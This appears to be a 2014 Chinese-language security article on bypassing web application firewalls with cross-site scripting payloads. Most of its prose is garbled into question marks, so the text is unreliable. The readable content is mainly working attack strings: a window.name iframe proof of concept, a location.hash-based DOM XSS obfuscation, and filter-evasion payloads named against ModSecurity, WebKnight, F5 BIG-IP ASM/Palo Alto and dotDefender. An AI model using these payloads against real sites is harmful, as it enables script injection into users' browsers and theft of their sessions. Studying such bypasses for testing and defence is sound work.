XSS???WAF??????????????
???????????? ???????[ 2014/7/2 15:42:34 ] ??????????????? ???????
????Window.name???
??????????????iframe?????????棬???????????????????????????????javascript????
????POC
????<iframesrc='http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//'
????name="javascript:alert("XSS")"></iframe>
????DOM??XSS
??????????????????DOM???XSS?????DOM??XSS????????????У???????????
????<script>
????vari=location.hash;
????document.write(i);
????</script>
???????Щ????£???????XSS?????????DOM??XSS??
????http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
?????????POC???[.+??????????????????????????location.hash????κβ?????????
????Location.hash[1] = : // Defined at the first position after the hash.
????Location.hash[2]= ( // Defined at the second position after the has
????Location.hash[3] = ) // Defined at third position after the hash.
????????п???????????????
???????
????ModSecurity???
????<scri%00pt>confirm(0);</scri%00pt>
????<a/onmouseover[x0b]=location='x6Ax61x76x61x73x63x72x69x70x74x3Ax61x6Cx65x72x74x28x30x29x3B'>rhainfosec
?????ο?http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
????WEB KNIGHT???
????<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
????<marquee/onstart=confirm(2)>
????F5 BIG IP ASM and Palo ALTO???
????<table background="javascript:alert(1)"></table> //IE6?????汾Opera
????“/><marquee onfinish=confirm(123)>a</marquee>
????Dot Defender???
????<svg/onload=prompt(1);>
????<isindex action="javas&tab;cript:alert(1)" type=image>
????<marquee/onstart=confirm(2)>
????????
??????????????????????????????????????????Ч?????????WAF???????????????????£?
????1?????????????????WAF??????????????????????????????????????????????????????
????2???????WAF????????£?
????3??WAF???????ò???????????????????????ò???content-length??С?????content-type???????????????и澯??
????4?????WAF????????????????????????????????BUG???????????????????????
??????
???·???
??????????????????
2023/3/23 14:23:39???д?ò??????????
2023/3/22 16:17:39????????????????????Щ??
2022/6/14 16:14:27??????????????????????????
2021/10/18 15:37:44???????????????
2021/9/17 15:19:29???·???????·
2021/9/14 15:42:25?????????????
2021/5/28 17:25:47??????APP??????????
2021/5/8 17:01:11